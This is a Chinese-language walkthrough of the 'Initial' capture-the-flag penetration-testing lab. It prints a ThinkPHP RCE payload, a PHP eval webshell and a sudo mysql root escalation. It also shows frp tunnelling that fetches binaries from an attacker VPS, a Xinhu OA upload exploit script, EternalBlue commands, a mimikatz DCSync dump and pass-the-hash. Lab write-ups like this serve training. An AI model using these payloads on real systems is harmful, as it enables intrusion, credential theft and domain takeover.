文章

春秋云镜-Initial

春秋云镜-Initial

flag1

先使用fscan扫描,这里只用于进行简单的端口扫描,输入

window

1
fscan.exe -h 39.98.122.187

linux

1
.\fscan -h 39.98.122.187

1774346788022

可以看到 web server 的版本是 ThinkPHP 5.0.23,而且存在漏洞

这里使用 ThinkphpGUI 这个开源工具来进行扫一下

1
Java -jar ThinkphpGUI-1.3-SNAPSHOT.jar

启动后,输入URL和版本,检查并GetSehll

1774347232428

1
 http://39.98.122.187//peiqi.php  Pass:peiqi

直接帮我们上传了木马,文件是peiqi.php,密码是peiqi

还给了命令执行的POC

1
http://39.98.122.187//?s=captcha&test=-1 Post:method=_construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

可以手动上传木马

1
_construct&fiter[]=system&method=get&server(REQUEST_METHOD]=echo '<?php eval($_POST[aaa]); ?>'>shell.php

1774347212527

木马上传后,发现flag在/root下,需要提权

1
sudo -l

1774347289352

发现/usr/bin/mysql

这说明我们可以通过通过 sudo 高权限运行 mysql,进而能够执行 root权 限才能执行的命令

1774372234055

payload:

1
sudo mysql -e '\! cat /root/flag/flag01.txt'

1774347752561

flag2

接下来就是要考虑内网横向移动,我们的最终目的是获取域控上的 flag,我们先用蚁剑上传 fscan,扫描一下内网中有那些存活机器

1774348005543

ip a 显示的是 172.22.1.15/16,所以实际网段应该是 172.22.0.0/16

但 writeup 里写后续扫172.22.1.0/24 是一种实用主义的扫描策略

实际子网掩码:/16 → 网段 172.22.0.0/16,包含约 65534 台主机,fscan 要跑很久,实战中基本不现实

内网靶机环境通常把目标机器集中在同一个 /24 里(即 172.22.1.x

当前机器 IP 是 172.22.1.15,同网段的其他机器大概率也在 172.22.1.0/24

所以先扫 /24 快速发现存活主机,是渗透测试中的常规做法

1774348123768

扫描的结果会自动存在当前目录的 result.txt 文件上,查看txt文件

于是我们搜集到如下信息:

172.22.1.2:DC域控 172.22.1.21:Windows的机器并且存在MS17-010 漏洞 172.22.1.18:信呼OA办公系统

1774348135293

而我们的最终目标即为 DC 域控 我们首先是对 OA 办公系统进行攻击

在这之前我们要先进行内网穿透,其目的是使我们能够在攻击机访问内网的服务,这里我们需要一台 vps 和工具 frp

该工具的目录如下:

1774372932225

其中 frpcfrps 是可执行文件,我们需要将 frpsfrps.toml 上传到我们的 vpsfrpcfrpc.toml 上传到我们的靶机

相关文件的配置:

frps.toml:

1
bindPort = 7000

frpc.toml:

1
2
3
4
5
6
7
8
9
serverAddr = "8.148.230.29"
serverPort = 7000

[[proxies]]
name = "socks5"
type = "tcp"
remotePort = 798
[proxies.plugin]
type = "socks5"

这里要确保你的 vps 开启了 7000798 端口

由于frpsfrps.toml文件太大,PHP 默认的 upload_max_filesize 通常是 8MB,frpc 超过了这个限制。上传不了蚁剑,我们用wget/curl去vps拉取文件

第一步:在 VPS 上开个 HTTP 服务

1
2
# 在存放 frpc 和 frpc.toml 的目录下
python3 -m http.server 6666

第二步:在 webshell 里执行

1
2
3
4
cd /var/www/html
wget http://你的VPS_IP:6666/frpc
wget http://你的VPS_IP:6666/frpc.toml
chmod 777 frpc

1774350690609

1774350707537

上传成功

vps 执行:

1
./frps -c frps.toml

然后在靶机执行:

1
2
chmod 777 frpc
./frpc -c frpc.toml

1774353133046

1774353144158

打开proxifier,配置代理

成功打开,弱密码爆破,得到admin,admin123,成功登录

1774373627320

1774353112358

在登录界面还可以发现版本是2.2.8,查查有没有漏洞,这个系统存在文件上传漏洞,有直接的 poc

exp.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests


session = requests.session()

url_pre = 'http://url/' #填写172.22.1.18
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'dGVzdA',//base64加密的账号
    'adminpass': 'YWJjMTIz',//base64加密的密码
    'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('whoami');")
print(r.text)

相同目录下还有一个 1.php 文件存的是一句话木马 1.php:

1
<?php eval($_POST["1"]);?>

运行显示上传成功,还显示了上传的路径和密码

1774354715923

蚁剑连接成功,得到flag

1774354707147

1774354771651

flag3

接下来我们就对 ip 172.22.1.21 进行渗透,这里需要用到渗透框架 Metasploit Frameworkkali 自带这个框架,这里的攻击机我选用 kali,我们首先要在 kali 中设置 socks5 代理,否则我们无法访问其内网的环境。在 kali 中设置代理比 windows 简单很多,他自带了一个 proxychains4 工具,我们只需要编辑 etc 目录下的 proxychians4.conf 文件:

1774355449517

1774374102233

在上面用 fscan 的扫描中我们发现该机子是Windows Server 2008 R2,是MS17-010漏洞的受影响系统之一

存在 MS17-010 漏洞,这个就是大名鼎鼎的永恒之蓝漏洞 我们先在 kali 输入 proxychains msfconsole启动 Metasploit Framework

输入 search ms17-010 搜索 ms17-010 相关模块,可以看到一共找到了 4 个不同的模块:

1774374747400

这里我们选择使用第一个模块,因为他影响是版本比较多,然后接下来依次输入以下命令来发起永恒之蓝攻击:

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue  # 选择使用的模块
set payload windows/x64/meterpreter/bind_tcp_uuid  # 设置payload,可以通过show payloads查看
set RHOSTS 172.22.1.21  # 设置靶机的ip
exploit  # 发起攻击

1774356145950

运行成功会出现meterpreter> 该 Meterpretermetasploit 的一个扩展模块,可以调用 metasploit 的一些功能,对目标系统进行更深入的渗透,入获取屏幕、上传/下载文件、创建持久后门等。

1
2
3
4
5
meterpreter > screenshot # 捕获屏幕
meterpreter > upload hello.txt c:// #上传文件
meterpreter > download d://1.txt # 下载文件
meterpreter > shell # 获取cmd
meterpreter > clearev # 清除日志

紧接着上图,可以发现我们已经成功的打进该主机,遗憾的是该机子上并没有 flag ,也就是说我们最后的flagwindows DC 域控制器上面

接下来是进行 DCSync 攻击,这里简单解释一下: 首先,什么是 DCSync

1
2
在域中,不同的域控之间,默认每隔15min就会进行一次域数据同步。当一个额外的域控想从其他域控同步数据时,额外域控会像其他域控发起请求,请求同步数据。如果需要同步的数据比较多,则会重复上述过程。DCSync就是利用这个原理,通过目录复制服务(Directory Replication Service,DRS)的GetNCChanges接口像域控发起数据同步请求,以获得指定域控上的活动目录数据。目录复制服务也是一种用于在活动目录中复制和管理数据的RPC协议。该协议由两个RPC接口组成。分别是drsuapi和dsaop。
DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash

也就是说我们可以通过 DCSync 来导出所有用户的 hash 然后进行哈希传递攻击,要想使用 DCSync 必须获得以下任一用户的权限:

Administrators 组内的用户 Domain Admins 组内的用户 Enterprise Admins 组内的用户域控制器的计算机帐户

现在我们回到一开始 fscan 的扫描结果:

1774374929820

我们可以看到我们用永恒之蓝打下的这台机子是 enterprise 用户,也就是说满足 DCSync 攻击的条件,于是我们在 msf 中依次输入以下命令来获取用户的 hash

1
2
load kiwi  # 调用mimikatz模块
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit  # 导出域内所有用户的信息(包括哈希值)

1774356421058

这里我们比较关注是 Administrator 用户的 hash,接下来我们使用 crackmapexec 来进行哈希传递攻击,来实现 DC域控 上的任意命令执行,通过以下命令来获取 flag3

1
proxychains crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

1774356603251

本文由作者按照 CC BY 4.0 进行授权